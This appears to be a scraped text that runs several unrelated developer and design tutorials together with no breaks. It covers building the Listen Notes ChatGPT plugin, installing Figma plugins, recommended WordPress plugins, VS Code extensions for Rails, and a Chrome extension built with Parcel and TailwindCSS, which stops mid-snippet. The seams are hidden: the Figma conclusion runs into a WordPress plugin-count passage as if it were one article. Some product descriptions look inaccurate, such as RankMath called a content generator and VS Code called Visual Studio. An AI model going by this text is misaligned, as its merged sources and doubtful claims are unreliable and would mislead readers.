ChatGPT is a highly intelligent auto-completion tool. It takes instructions or questions in natural language and provides good enough text-based outputs.

But there’s a catch — ChatGPT’s knowledge only goes up until September 2021. So, as of writing this blog post (June 2023), the model itself is not aware of any events or data after September 2021.

Here is where ChatGPT plugins come to the rescue. These plugins allow ChatGPT to interact with external APIs to gain access to up-to-date information. They can also help ChatGPT perform certain actions like triggering a Zapier task or sending an email.

From the perspective of an API provider (like Listen Notes providing PodcastAPI.com), creating a ChatGPT plugin is similar to providing a user-friendly, AI-powered interface for your API. For enthusiastic users of ChatGPT, building custom plugins can extend its use cases significantly.

In this tutorial, we’ll leverage a real-world example of the Listen Notes ChatGPT plugin (already available on the Plugin store) as a case study to illuminate the process of creating a ChatGPT plugin.

The process is simpler than you might assume. By the end of this article, you should have the necessary understanding to employ any APIs and craft your very own ChatGPT plugin.

Feel free to try out the Listen Notes ChatGPT Plugin and explore the source code on GitHub.

How Do ChatGPT Plugins Work?

For an end user, the process of using a ChatGPT plugin is quite straightforward. You just need to activate the plugin on the ChatGPT user interface, and then type in the prompts.

Example of a ChatGPT plugin at work

For developers, the process requires some more work. You'll need to provide a hosted ai-plugin.json file using your own domain name. This file includes metadata about the plugin and an OpenAPI specification detailing the available API endpoints that ChatGPT can interact with.

Essentially, a ChatGPT plugin is a smart API caller. The user employs natural language to call these external APIs instead of writing code. All the API endpoints, as well as the ai-plugin.json and openapi.json, should be hosted under the same domain name.

Case study: How to Build a Podcast Discovery ChatGPT Plugin using PodcastAPI.com and Cloudflare Pages

Requirements

Our plugin should be able to search for podcasts or episodes based on keywords, languages, countries, and audio length, among other factors.

We'll use PodcastAPI.com and Cloudflare Pages to build this ChatGPT plugin.

PodcastAPI.com is a widely used Podcast API globally, and it powers thousands of podcast apps/websites. It’s a typical RESTful API.

For example, to find podcasts related to “startup” in English, you send an API request like GET /search?q=startup&type=podcast&language=English. You can easily try out all of Podcast API endpoints with the mock server and see how the response JSON data look like on the API docs page.

Cloudflare Pages is a serverless platform with a generous free quota. It allows you to build a dynamic web app in JavaScript and send requests to external APIs securely without exposing API credentials. And since it’s serverless, you don’t need to worry about server provisioning, scalability, or operational issues.

We’ve gained some experience using Cloudflare Pages from building microfeed — a lightweight serverless WordPress alternative, which you can use to host podcasts and media files for free.

How does the plugin work exactly?

You can find the source code for the Listen Notes ChatGPT plugin on GitHub: github.com/ListenNotes/listennotes-chatgpt-plugin.

The plugin, built with JavaScript, is deployed as a web app on the serverless platform Cloudflare Pages. This deployment serves three vital resources under the custom domain name ai.listennotes.com:

1. The ai-plugin.json file: This can always be found at https://ai.listennotes.com/.well-known/ai-plugin.json. The path for this file is static and should not be changed. Here is the source code for your reference.
2. The openapi.json file: This location is determined by the ai-plugin.json file. In our case, it’s hosted at https://ai.listennotes.com/chatgpt-plugin/openapi.json. You can check out the source code here.
3. Proxy API endpoints: For example, https://ai.listennotes.com/api/v2/search_episodes. These are essentially thin wrappers of the actual PodcastAPI.com endpoints. The source code for these endpoints can be found here.

So, how do these pieces work together? Let’s delve deeper:

Firstly, ChatGPT identifies the ai-plugin.json file from its fixed path /.well-known/ai-plugin.json. This file contains essential metadata about the plugin and informs ChatGPT about the location of the openapi.json file. Here's what that looks like:

Secondly, ChatGPT uses the openapi.json file to understand the available API endpoints and their parameters. This file essentially helps ChatGPT understand how to interact with the API.

Finally, using the description and other metadata specified in the openapi.json file, ChatGPT can translate natural language prompts into specific API requests.

For example, a user's prompt like "search startup podcasts in English" is translated by ChatGPT into a GET request to GET /search_podcasts?q=startup&language=English.

Securing the Keys to the Kingdom

When working with external APIs, like PodcastAPI.com in our case, an important concern is maintaining the confidentiality of API keys. You can do this through layers of indirection — “All problems in computer science can be solved by another level of indirection.” :)

Firstly, the real API key (LISTEN_API_KEY in our case) is provided as an environment variable on Cloudflare Pages. This ensures that the API key is never exposed in the source code.

Next, we utilize a secret (CHATGPT_SECRET in our case) for ChatGPT to call our proxy API endpoints. When submitting the plugin to ChatGPT, you will be prompted to provide this secret.

After providing the secret, ChatGPT will issue a verification token (CHATGPT_VERIFICATION_TOKEN in our case), which is placed in the ai-plugin.json file. It’s perfectly fine for this verification token to be public.

In our case, the LISTEN_API_KEY, CHATGPT_SECRET, and CHATGPT_VERIFICATION_TOKEN are all stored as encrypted environment variables on Cloudflare Pages, effectively kept out of the public eye:

How to Navigate the Review Process

Before your plugin is listed in the ChatGPT Plugin store, you can test it via your custom domain (in our case, ai.listennotes.com).

When you’re ready to submit your plugin for review, you’ll do so via an Intercom ticket. You’ll need to answer several questions and provide some example prompts. From our experience, it took around 2 days for a ChatGPT team member to review our ticket.

Initially, our submission was rejected because our description did not end with punctuation. We promptly added a period to our ai-plugin.json’s description, resubmitted, and were approved within 2 hours. So, from submission to approval, it was roughly a 2-day process.

How to Adapt the Process for Other APIs

If you wish to adapt the listennotes-chatgpt-plugin repository to work with other APIs, there are three main areas you’ll need to modify:

1. Update ai-plugin.json (source code): You’ll find more details on this at openai.com.
2. Update openapi.json (source code): This is crucial as ChatGPT relies on this OpenAPI spec to identify available proxy endpoints. For more insights, check out openai.com.
3. Update proxy API endpoints (source code)to align with other APIs: The proxy endpoints that run on Cloudflare Pages need to be updated to send API requests to your chosen APIs. You may want to familiarize yourself with how Cloudflare Pages functions work.

After making these updates, you can deploy to Cloudflare Pages and then submit your plugin to ChatGPT for review.

Wrapping Up

While this overview aims to provide useful information, keep in mind that the ChatGPT plugin is still in beta and subject to change.

We hope to keep this post updated as changes arise. The world of AI is fast-paced, but with a solid understanding of these principles, you’ll be well-equipped to navigate it.

You can find this article and many others on listennotes.com.

Plugins help make your design process easier and smoother. From image assets to embedding maps into your designs, plugins are easy to use and they help you create beautiful, complex designs in less time.

How to Install Plugins on Figma

Figma makes it easy for you to install plugins which are quite essential for your designs. You can install plugins from different places.

How to install a plugin from your account

To install a plugin from your account, you just have to:

1. Login to your Figma account
2. Click on Explore Community at the top-left corner of your screen:

3. Select Plugins from the options at the top:

4. Search for your preferred plugin and install it:

Click on the plugin name to open the plugin page and learn more about it.

You can also see plugins already installed on your Figma account.

‌‌How to install a plugin in the file

1. Right click on the canvas – your cursor could be positioned anywhere.

2. Hover your cursor on Plugins, which will bring up all installed plugins.

3. Scroll down to Browse plugins in Community and click on it. This will open Figma Community in a separate tab.

‌‌‌‌How to Add Plugins on a PC

‌‌There are quite a number of ways to add plugins to your designs.‌‌

Add plugins from the File menu

Access the File menu at the top left corner of your screen in Figma. The File menu contains functions like edit, view, and text. You can also run your plugins from the menu.

1. Click on File Menu

2. Hover your cursor on Plugins, which will bring up all your installed plugins.

3. Click on your preferred plugin and apply it to your design.

How to add plugins with Ctrl+/

This is a Quick Action that helps you locate items, including plugins on your Figma file.

1. Press Ctrl +/ on your keyboard. This action will lead to a window pop-up.

2. Input the name of the plugin on the pop-up window. There could be different plugins with similar names. In this case, Figma displays all related plugins so you can pick the exact one you want.

3. Press Enter or click on the plugin, once you find it, to start using it in the file.

8 Figma Plugins Every Designer Should Know

There are lots of really helpful Figma plugins out there. Here's 8 really cool ones.

‌‌Iconify

Designs can seem incomplete without icons. From Google Material Icons to Carbon icons, this Figma plugin has a wide collection of icons that many developers use to create beautiful, modern user interfaces.‌‌

You can get icons in your preferred color, width, height, and size. You can also generate your SVG icon with this plugin.

‌‌Pattern Hero

This plugin helps you with different beautiful patterns for your designs. You can shuffle the patterns, and work with different templates.‌‌ You can also create grids and textures.

Unsplash

You need beautiful pictures to create beautiful designs. This amazing plugin helps you import images for your designs at a single click.

Using Unsplash, you won't need to waste your time searching through various portals for images – you get to download free images directly to Figma. You don't need to worry about the quality of the photos, as Unsplash images are usually of a very high quality.

Remove Backgrounds

Sometimes we download nice pictures for our designs, only to notice that the background of the image does not fit with the design.

As the name implies, the Remove Backgrounds plugin allows you to remove the background from your images. Just keep in mind that you do have to create a remove.bg account before you can use this plugin.

Mapsicle

You don't need to use screenshot images for maps ever again. The Mapsicle Plugin helps you place maps easily into your designs.

With this plugin, you can search for any location in the world, and embed a map into your design. You can also adjust the style of the map.

UI Gradients

Gradients make designs look unique. uiGradients is a great gradient palette with tons of ready-to-use gradients for your next amazing design.

With this plugin, you don't have to worry about which hue is perfect for your design. Just go through the gradients and find the combination that works for you.

‌‌Table Generator

Table Generator saves you the time when you're data tables. You just have to copy and paste your data in and voilà! Your table is generated.

This plugin enables you align text, add constraints to your cell frame, and lots more.

‌‌StorySet

This is an illustration plugin that lets you add illustrations to your work. StorySet contains hundreds of beautiful illustrations that you can use for your design. What's more, you can edit the illustrations' colors, styles, and backgrounds. You can also animate.

Conclusion

Plugins are essential when you're creating sophisticated designs. Just find the ones useful to you and learn how to add them to your designs.

You can have as many as you like, in theory, but don't go overboard. A good rule of thumb is to keep the number of plugins to a minimum. In my [Ultimate WordPress guide](https://www.weblime.com/stories/the-ultimate-wordpress-guide), I explain that my soft limit is around 10.

This doesn't mean that a site with 12 or 13 plugins is bad. It means you should do your best to question each plugin installation and justify the need for it.

Keep in mind that the fewer plugins you have, the less troubleshooting you’ll have to do when something goes wrong. It’s also a good idea to avoid having multiple plugins that perform the same function. Not only can they conflict and cause issues, it's just more to manage without any real benefit.

But with so many plugins out there on the web, it can be hard to choose. To help you out, I’ve compiled a list of 15 plugins that are essential for boosting your productivity as a developer and as a businessperson.

Best WordPress Plugins

Akismet Spam

According to their docs, Akismet checks the comments and contact form submissions on your site against their global database of spam. If the plugin finds a match, it automatically marks it as spam, thus preventing your website from publishing malicious content.

This can save you the tens of hours of tedious work you would otherwise have to put into fighting spambots. These bots post the same comment on millions of websites, usually advertising websites that have nothing to do with your blog.

If you decide to leave these comments on your website, you risk infecting your visitors’ computers with various viruses, as this is what is hiding behind most of the spam links.

Spam comments can also hurt your SEO efforts as your website will automatically point links to suspicious websites.

It’s very easy to stay protected against these attacks just by installing Akismet. Once you add it to your WordPress website you just need to activate it.

Akismet has an average rating of 4.7 stars out of 5 from 926 reviews.

WordFence Security

According to PurpleSec, cybercrime went up by a staggering 600% due to the COVID-19 pandemic. A great way to protect your WordPress installation is to add a security plugin.

Wordfence is the leading security plugin for WordPress. This means that a large majority of WordPress admins use it, including many who provide feedback about the plugin's bugs and functionality. This ensures that the plugin is constantly updated and gets better with each new version.

Wordfence helps you prevent hackers from exploiting your site by checking your files for vulnerabilities, scanning your site in real-time to detect malware, monitoring who accesses your site, blocking bad IPs, and more.

WordFence has an average rating of 4.7 stars out of 5 from 3,737 reviews.

WP Cerber

WP Cerber Security combines the functionality of Akismet with that of WordFence. If you want the complete suite of security features under the same plugin, then WP Cerber might be the right choice.

Cerber is an easy-to-set-up, admin-friendly anti-spam solution for protecting your contact and registration forms. Cerber Security is built with the same powerful Cerber anti-spam engine that protects comment sections on popular websites like Slashdot, Reddit, Digg, and others.

The plugin protects your site against comment spam by only allowing comments from registered users. Cerber Security offers an optional Captcha challenge form verification to further protect against bots.

Cerber CAPTCHA security is the industry's most accurate anti-spam technology available today which eliminates spam registrations and protects your contact form from automated attacks like email harvesters and bots.

WP Cerber has an average rating of 4.9 stars out of 5 from 554 reviews, which makes it one of the best in its category in terms of user feedback.

Yoast

Now that you have your website protected, it’s time to look at some plugins that make SEO a breeze.

Yoast is the most complete WordPress SEO plugin. It handles all aspects of optimizing your site for search engines, including keyword research, meta description, titles, and more. Yoast helps you make your website easily accessible to both humans and search engines like Google, Bing, or Yahoo.

Yoast provides the tools you need to optimize your on-page content, including page analysis, live meta boxes for each post type, post snippet preview, and the snippet editor.

With Yoast SEO running on your site, you'll become more familiar with SEO best practices and how the search engines view the content of your website. It’s one of the most important plugins that should be part of your WordPress stack.

Yoast is by far the most rated WordPress plugin with an average rating of 4.8 stars out of 5 from 27,414 reviews.

RankMath

Rankmath is an algorithmic content generator. You can use it to create SEO-optimized content while saving you a ton of time.

RankMaths’s simple interface helps you create unique articles, blogs posts, pages, custom URLs for backlinks, and more in minutes.

Rankmath saves you time by providing rich keyword suggestions based on popular questions. You can use these questions as they are or add them to your keywords to make them more relevant for Google's algorithm.

Moreover, RankMath will automatically generate schema markup for you that includes all possible types of information including location, contact details, and opening hours (where they make sense, of course).

Some people found RankMath to be better than Yoast when it comes to improving rankings, while others like to stick with the classic.

RankMath has an average rating of 4.9 stars out of 5 from 3,874 reviews.

Newsletter Glue

SEO plugins are a great way to boost your traffic, but what are you going to do with so many users? The answer is simple – subscribe them to your newsletter.

Newsletter Glue is a WordPress plugin that instantly turns your blog into a newsletter.

In under 5 minutes, you can turn your blog feed into your newsletter, segmenting and tagging subscribers however you want. No coding is required. No learning curve is required. It's the fastest way to make a newsletter from a blog.

Create a weekly newsletter in seconds by sending new and old posts to subscribers in one go. You can even send just a post title and summary in an instant if you want something shorter.

You can add tags and segments to any newsletter so different groups of readers get different newsletters depending on what they like reading about.

You can get the plugin for free and upgrade once your email list grows. It’s important to mention that if you are currently using another newsletter app, you will need to upgrade before you can migrate your contact list.

Newsletter Glue is rather new but packs an average rating of 5 stars out of 5 from 12 reviews.

WooCommerce

Created by the team behind WordPress, WooCommerce is a powerful, flexible eCommerce solution that can help you build an online store. Because it’s built into the WordPress interface, you get all of the tools that come with WordPress. You can easily manage your storefront from your dashboard using familiar tools.

With its unique hooks system, you can extend WooCommerce to do exactly what you need it to do – and nothing more. Whether you want to add multiple currencies, integrate with other services, or use custom templates and styles, WooCommerce is up to the task.

WooCommerce benefits from the large community behind WordPress. There are over 30,000 free and premium templates available on Envato Market for you to choose from if you don't want to create your unique design.

The possibilities for building an online shop are endless with WooCommerce, and the best part is that it’s free.

WooCommerce has an average rating of 4.5 stars out of 5 from 3,804 reviews.

UpdraftPlus

UpdraftPlus is a revolutionary WordPress backup plugin that offers continuous backups, file versioning, staging of backups, and more. It allows for unlimited storage on the Updraft Vault, comes with easy restore options, and gives you the ability to clone websites on demand.

UpdraftPlus has been tested on over 3 million sites, offering the best WordPress backup solution for you on any website size. For an enterprise-level of power and security, it allows unlimited storage in their secure cloud vault. With its push-button restore options, UpdraftPlus is great for both beginners and experts alike.

With continuous backup, you can rest assured that your data will always be backed up. If your site crashes or is hacked or if you accidentally delete something that cannot be recovered from your blog/website then you can effortlessly get it back!

Making sure your website is backed up is especially important in today’s world. As I’ve previously mentioned, the number of hacks has increased 6 fold lately. You can prepare yourself for the worst with UpdaftPlus and save a ton of time and money in case you fall victim to hackers.

UpdraftPlus has an average rating of 4.8 stars out of 5 from 5,589 reviews.

WP Super Cache

WP Super Cache is a caching plugin for WordPress. It creates static HTML files from your dynamic WordPress blog. After an HTML file is generated, your web server will serve that file instead of processing the initial WordPress PHP scripts that were comparatively heavier.

The plugin includes an administration page where you can control the cache settings and view statistics about the cache hits and misses.

It also has a 'quick cache' mode which you can use to test the impact of caching on your site's performance. This option disables cache compression and gzip support, but allows you to see how quickly pages load without those features enabled (which can be useful information when deciding whether to enable them).

WP Super Cache saves you a ton of headaches by automatically speeding up your website. You just need to install and activate it.

WP Super Cache has an average rating of 4.2 stars out of 5 from 1,278 reviews.

ManageWP

This plugin is designed for administrators of multiple WordPress installations. If your organization manages multiple websites you should give ManageWP a try.

With ManageWP you can log in to all of your sites from a single dashboard, and get instant access to key information about each of them. It gives you a clear overview of how things are going with all your websites, and you don’t need to switch from one site to another to check on them.

ManageWP has cloud-based architecture so you can manage your websites instantly no matter where you are. It is not just a time-saver, but also a nerve-saver. You can forget all about the hassle of updating websites.

ManageWP solves routine tasks automatically to save you time, nerves and money. It takes care of routine security measures, plugin updates, database cleanup, spam cleaning, and much more.

ManageWP has an average rating of 4.7 stars out of 5 from 603 reviews.

All-in-One WP Migration

The plugin is an awesome tool for those who want to perform a professional and quick migration of their website, effortlessly and with little to no technical know-how.

The plugin allows you to move your site from one hosting service to another, from shared hosting to VPS, from VPS to cloud hosting, or even from shared hosting to cloud hosting. And that’s just the tip of the iceberg!

All-in-One WP Migration also includes several other features that may prove to be of more interest to seasoned WordPress users. For example, the plugin allows you to schedule your migrations for off-peak hours to minimize any possible downtime.

The plugin has been extensively tested and confirmed to be compatible with most WordPress plugins and themes.

So if you decide to upgrade your hosting package or simply move your website to another hosting provider, All-in-one WP Migration is the tool for the job.

All-in-One WP Migration has an average rating of 4.6 stars out of 5 from 6,836 reviews.

Jetpack

When you're running a site or business, there are two things you can't afford to lose: your data and your customers.

Jetpack's free security products help prevent malicious attacks like brute force attacks (when hackers try to break into your site by trying thousands of password combinations), spam (like comment spam, which can hurt site reputation), and downtime (like when hackers get your site offline).

Jetpack Security also provides easy-to-use data backups that allow you to restore your site or business in minutes even if it's hacked.

Jetpack has an average rating of 3.9 stars out of 5 from 1,675 reviews.

BuddyPress

BuddyPress is a social networking plugin for WordPress which allows you to turn your WordPress installation into a fully functional community website.

BuddyPress features popular functionality found in social networking sites, including user profiles, activity streams, user groups, private messaging, events, forums, groups, and more.

Most importantly though, it allows you to easily create your unique community on your WordPress site that works in the way you want it to!

BuddyPress is built on the shoulders of the giants in the open-source community, both WordPress and bbPress have been used as foundations for BuddyPress since its inception.

BuddyPress has an average rating of 4.2 stars out of 5 from 344 reviews.

Spotlight Social Media Feeds

Some people believe that Google counts social media shares and likes when ranking pages in search, so having active social media feeds might help you rank higher.

The free version of Social Media Feeds lets you combine the photos and videos from multiple Instagram accounts into a single Instagram feed that displays all of the content from all of the accounts at once, on your website. This makes it easy to publish photos and videos from multiple Instagram accounts without having to post to each account individually.

The premium version also lets you add multiple Instagram feeds to your site, each one displaying posts from a different Instagram account.

The premium version also gives you access to 4 free templates, so you can choose the design that best suits your site or publication. You can even add your own custom CSS to the templates, including HTML and JavaScript.

Spotlight Social Media Feeds has an average rating of 4.8 stars out of 5 from 100 reviews.

Elementor

Elementor's drag-and-drop website builder empowers anyone to design, develop and launch sites faster than ever before.

Whether you’re a web designer looking for a way to achieve pixel-perfect websites, a marketer looking to get online fast, or a developer who wants to expand their capabilities, Elementor’s website builder has what you need – intuitive drag-and-drop editor, advanced design features, and a full open-source approach.

Elementor makes it easy to create beautiful and powerful responsive websites in just minutes featuring a robust toolset.

It offers everything you need to make something truly special: an intuitive drag-and-drop editor, unlimited colors and fonts, Google Fonts integration, responsive behavior out of the box, plus all the features you'll expect from a website builder: parallax backgrounds, sliders, and galleries, blog functionality and more.

Elementor has an average rating of 4.7 stars out of 5 from 5,995 reviews.

Conclusion

This list is not exhaustive, but that’s really the point. You don’t need 50 plugins to have a well-functioning, feature-rich website. You certainly don’t need multiple plugins that do the same thing.

All you need is a handful of key plugins that allow you to expand your site’s offerings, make it run faster, and display your content in the best-looking way possible.

Productivity is the core of your success. If you do more in less time, you can spend more time on things that really matter to you.

These WordPress plugins will boost your efficiency and will help you focus on how to grow your business and generate more revenue while they do the groundwork, and you do the thinking.

In this article, I'll share some of the plugins that I use to make development with Ruby on Rails easier and more fun.

Why use these tools?

Development tools play a significant role in a developer's life. If you are a junior developer and are just getting started working on projects, then knowing about the appropriate tools is a must.

These tools can save you a lot of time and they allow you to code more efficiently and thus increase your productivity.

If you are Ruby on Rails developer who's looking for free development tools, I would recommend Visual Studio. It has a ton of plugins, like the ones mentioned below, and they have helped me increase my productivity a lot.

Note: All visual studio plugins are available on the Visual Studio Marketplace for free.

So let's dive in.

Ruby

With ~1.3M downloads, this is one of the most popular plugins for Ruby. It provides enhanced Ruby language and debugging support.

With enhanced debugging support, developers can set breakpoints and inspect the local and global variables in debug mode. This helps to debug any issues easily and in quick time.

This plugin also supports code formatting via rubocop which is very much needed when you are working with team of developers to maintain consistent code format.

Ruby plugin has the following features:

• Automatic Ruby environment detection with support for rvm, rbenv, chruby, and asdf

• Lint support via RuboCop, Standard, and Reek

• Format support via RuboCop, Standard, Rufo, and RubyFMT

• Basic Intellisense support

• Ruby debugging support

Source: Ruby

Rails

This is another popular plugin for Rails which provides enhanced Rails support.

ERB HTML templating is widely used in Rails ecosystem as views to render HTML pages for websites. The Rails plugin has support for the .erb syntax and also provides auto-completion for popular HTML tags like stylesheet, meta tags, asset tags, and so on.

This plugin also helps to switch between Rails views (*.erb files) easily. It also helps you see online documentation of any methods or commands easily side by side.

Here are some of the features this plugin supports:

• Ruby on Rails “Asset Helpers” and “Tag Helpers” snippets.

• .erb syntax highlights.

• Navigation between related files through command.

• Go to Definition.

• View path suggestion, Model’s static method suggestion, and Model’s field suggestion.

• Open the online document to the side through command.

Source: Rails

Image from VSCode Rails

Ruby Solargraph

Ruby Solargraph is one of the most helpful plugins on this list, and provides IntelliSense, code completion, and inline documentation for Ruby.

Inline documentation helps you view all the allowed methods of the class/object, and also helps you easily understand the definition of each method and its arguments.

This is one of the plugins I have personally used many times to refer to a Ruby method's documentation, arguments for a method, and so on.

Image from VSCode Solargraph

Vscode Endwise

This is my favorite extension that can save you a lot of time and headaches. This extension automatically adds end to all your Ruby code blocks.

Image from VSCode Endwise

Rails Db Schema

This plugin helps you define a DB schema and also enables auto-completion for Rails DB schemas.

While defining schemas or creating tables for any Entity, this plugin enables and autocompletes syntax for all your DDLs (Database definition language) like create_table, create_index, delete_table, update_table, and so on.

Image from VSCode DB Schema

It helps in autocomplete of all attributes of any database entity. For example, if User has email, name, and date_of_birth attributes, this plugin will automatically detect the definition of entity and autocompletes its attributes when you type User.

Image from VSCode DB Schema

Why use Visual Studio?

There are many other IDE options for Ruby on Rails developers like RubyMine (the enterprise version), Sublime, Vim, and so on.

But my personal favorite is Visual Studio as it has extensive plugin support for multiple languages like Golang, PHP, Node.js, and more. So it's the default IDE, especially for polyglot developers.

Even though visual studio lacks few features compared to RubyMine like getting support for the latest Rails version updates, it covers the majority of the features required for development via community plugins.

If this article was useful, please share it with your network. Also, follow me on Twitter to know when I publish my next article.

Building a Chrome extension can be overwhelming. It's different than building a web app in that you don't want to put too much JavaScript overhead on the browser since your extension will be run along with the website you're visiting. You also don't usually get the benefit of bundling and debugging that are available with today's bundlers and frameworks.

When I decided to build a Chrome extension, I found that the number of blog posts and articles about building one is quite small. And there's even less information when you want to use one of the newer technologies like TailwindCSS.

In this tutorial we will discover how to build a Chrome extension using Parcel.js for bundling and watching and TailwindCSS for styling. We will also talk about how to separate your styling from the website to avoid colliding CSS – but more on that later.

There are a few types of Chrome extensions worth mentioning:

• Content scripts: The first type of Chrome extension is the most common. It runs in the context of a web page and can be used to modify its content. This is the type of extension we'll be creating.
• Popup: Popup-based extensions use the extension icon to the right of the address bar to open a popup which can contain any HTML content that you like.
• Options UI: You guessed it! This is a UI for customizing options as an extension. It's accessible by right clicking the extension icon and selecting "options" or by navigating to the extension's page from the Chrome extensions list chrome://extensions
• DevTools Extension: "A DevTools extension adds functionality to the Chrome DevTools. It can add new UI panels and sidebars, interact with the inspected page, get information about network requests, and more". -Google Chrome documentation

In this tutorial we will build a Chrome extension using only content scripts by displaying content on the web page and interacting with the DOM.

How to bundle your Chrome Extension using Parcel.js V2

Parcel.js is a zero-configuration web application bundler. It can use any kind of file as an entry point. It's simple to use and will work for any type of app including Chrome Extensions.

First create a new folder called demo-extension (make sure you have yarn or npm installed, I am going to use yarn for this post):

$ mkdir demo-extension && cd demo-extension && yarn init -y

Next we will install Parcel as a local dependency:

$ yarn add -D parcel@next

Now create a new directory called src:

$ mkdir src

Adding a manifest file

Every browser extension needs a manifest file. This is where we define the version and meta data about our extension, but also the scripts that are used (content, background, popup, .etc) and permissions if any.

You can find the full schema in Chrome's documentation: https://developer.chrome.com/extensions/manifest

Let's go ahead and add a new file in src called manifest.json with this content:

{
  "name": "Demo extension",
  "description": "An extension built with Parcel and TailwindCSS.",
  "version": "1.0",
  "manifest_version": 2,
}

Now, before we go into more detail about how chrome extensions work and the kind of stuff you can make with them, we are going to set up TailwindCSS

How to use TailwindCSS with your Chrome Extension

TailwindCSS is a CSS-framework that uses lower-level utility classes to create reusable but also customizable visual UI components.

Tailwind can be installed in two ways, but the most common way to use it is via its NPM package:

$ yarn add tailwindcss

Also, go ahead and add autoprefixer and postcss-import:

$ yarn add -D autoprefixer postcss-import

You need these to add vendor prefixes to your styles and to be able to write syntax like @import "tailwindcss/base" to import Tailwind files directly from node_modules, respectively.

Now that we have it installed, let's make a new file inside our root directory and call it postcss.config.js. This is the configuration file for PostCSS and it will contain, for now, these lines:

module.exports = {
  plugins: [
    require("postcss-import"),
    require("tailwindcss"),
    require("autoprefixer"),
  ],
};

Order of plugins matters here!

That's it! That's all you need to get started using TailwindCSS within your Chrome extension.

Create a file called style.css inside your src folder and include Tailwind files:

@import "tailwindcss/base";
@import "tailwindcss/utilities";

Remove unused CSS using PurgeCSS

Let's also make sure we only import the styles we use by enabling Tailwind's purging capability.

Create a new Tailwind configuration file by running:

$ npx tailwindcss init: this will create a new tailwind.config.js file.

To remove unused CSS, we're going to add our source files to the purge field like this:

module.exports = {
  purge: [
    './src/**/*.js', 👈
  ],
  theme: {},
  variants: {},
  plugins: [],
}

Now our CSS will be purged and unused styles will be removed when you build for production.

How to enable Hot Reloading within your Chrome Extension

One more thing before adding some content to our extension: let's enable hot reloading.

Chrome doesn't reload the source files when you make new changes – you need to hit the "Reload" button on the extensions page. Fortunately, there's an NPM package that does hot reloading for us.

$ yarn add crx-hotreload

In order to use it, we'll create a new file called background.js inside our src folder and import crx-hotreload

import "crx-hotreload";

Finally point to background.js in manifest.json so it can be served with our extension (hot reloading is disabled in production by default):

{
  "name": "Demo extension",
  "description": "An extension built with Parcel and TailwindCSS.",
  "version": "1.0",
  "manifest_version": 2,
  "background": { 👈
    "scripts": ["background.js"]
  },
}

Enough with configuration. Let's build a small script form within our extension.

Types of scripts in a Chrome extension

As mentioned in the beginning of this post, in Chrome extensions there a few types of scripts you can use.

Content scripts are scripts that run in the context of the visited web page. You can run any JavaScript code that is otherwise available in any regular web page (including accessing/manipulating the DOM).

A background script, on the other hand, is where you can react to browser events, and it has access to the Chrome extension APIs.

Adding a content script

Create a new file called content-script.js under the src folder.

Let's add this HTML form to our newly created file:

import cssText from "bundle-text:../dist/style.css";

const html =
`
<style>${cssText}</style>

<section id="popup" class="font-sans text-black z-50 w-full fixed top-0 right-0 shadow-xl new-event-form bg-white max-w-sm border-2 border-black p-5 rounded-lg border-b-6">
  <header class="flex mb-5 pl-1 items-center justify-between">
    <span class="text-2xl text-black font-extrabold">New event!</span>
  </header>
  <main class="event-name-input mb-6">
    <div class="mb-6">
      <label
        for="event-name"
        class="font-bold pl-1 block mb-1 text-black text-xl"
        >
      Event name
      </label>
      <div class="duration-400 flex bg-white border-black border-2 rounded-lg py-4 px-4 text-black text-xl focus-within:shadow-outline">
        <input
          id="event-name"
          name="event-name"
          type="text"
          placeholder="web.dev LIVE"
          class="font-medium w-full focus:outline-none"
          />
      </div>
    </div>
    </div>
    <div class="mb-6">
      <label
        for="event-date"
        class="font-bold pl-1 block mb-1 text-black text-xl"
        >
      Date
      </label>
      <div class="event-date-input duration-400 border-black flex bg-white border-2 rounded-lg py-4 px-4  text-xl focus-within:shadow-outline">
        <input
          id="event-date"
          name="event-date"
          type="date"
          class="font-medium w-full focus:outline-none"
          />
      </div>
    </div>
    <div class=" mb-8">
    <label
      for="event-time-input"
      class="font-bold pl-1 block mb-1  text-xl"
      >
    Time
    </label>
    <div class="inline-flex items-center">
      <input
        id="event-time-input"
        type="time"
        value="17:30"
        class="border-black mr-4 lowercase duration-400 w-auto bg-white text-xl border-2  rounded-lg px-4 py-4 focus:outline-none focus:shadow-outline"
        />
      <div class="inline-flex flex-col">
        <span class="text-xl font-bold">Casablanca</span>
        <span class="text-base font-normal">Africa</span>
      </div>
    </div>
  </main>
  <footer>
  <button 
    class="duration-400 bg-green-400 text-xl py-4 w-full rounded-lg border-2 border-b-6 leading-7 font-extrabold border-black focus:outline-none focus:shadow-outline"
    >
  Save
  </button>
  </footer
</section>
`

const shadowHost = document.createElement("div");
document.body.insertAdjacentElement("beforebegin", shadowHost);
const shadowRoot = shadowHost.attachShadow({ mode: 'open' });

shadowRoot.innerHTML = html

Styling a browser extension is not as straightforward as you may think because you need to make sure that the website styles are not affected by your own styles.

In order to separate them, we are going to use something called the Shadow DOM. The Shadow DOM is a powerful encapsulation technique for styles. This means that styling is scoped to the Shadow tree. Therefore, nothing is leaked out to the visited web page. Also outside styles do not override the Shadow DOM's content, although CSS variables can still be accessible.

A shadow host is any DOM element we would like to attach our Shadow tree to. A Shadow Root is what is returned from attachShadow and its content is what gets rendered.

Beware, the only way to style the content of a Shadow tree is by inlining styles. Parcel V2 has a new built-in feature where you can import the content of one bundle, and use it as compiled text inside your JavaScript files. Then Parcel will replace it at the time of packaging.

We did exactly that with our style.css bundle. Now we can inline the CSS automatically to the Shadow DOM at build time.

Now we have to tell the browser about this new file, let's go ahead and include it by adding these lines to our manifest:

{
  "name": "Demo extension",
  "description": "An extension built with Parcel and TailwindCSS.",
  "version": "1.0",
  "manifest_version": 2,
  "background": {
    "scripts": ["background.js"]
  },
  👇
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "js": ["content-script.js"],
    }
  ]
}

In order to serve our extension, we are going to add a few scripts to our package.json:

  "scripts": {
    "prebuild": "rm -rf dist .cache .parcel-cache",
    "build:tailwind": "tailwindcss build src/style.css -c ./tailwind.config.js -o dist/style.css",
    "watch": "NODE_ENV=development yarn build:tailwind && cp src/manifest.json dist/ && parcel watch --no-hmr src/{background.js,content-script.js}",
    "build": "NODE_ENV=production yarn build:tailwind && cp src/manifest.json dist/ && parcel build src/{background.js,content-script.js}",
  }

Finally you can run yarn watch, go to chrome://extensions, and make sure Developer Mode is enabled on the top right of the page. Click on "Load Unpacked" and select the dist folder under demo-extension.

• If you get this error: Error: Bundles must have unique filePaths you can simply fix it by removing the main field in your package.json

How to publish your extension to the Google Chrome Web Store

Before going further into this, let's add a new NPM script that will help us compress the extension files as required by Chrome.

  "scripts": {
    "prebuild": "rm -rf dist .cache",
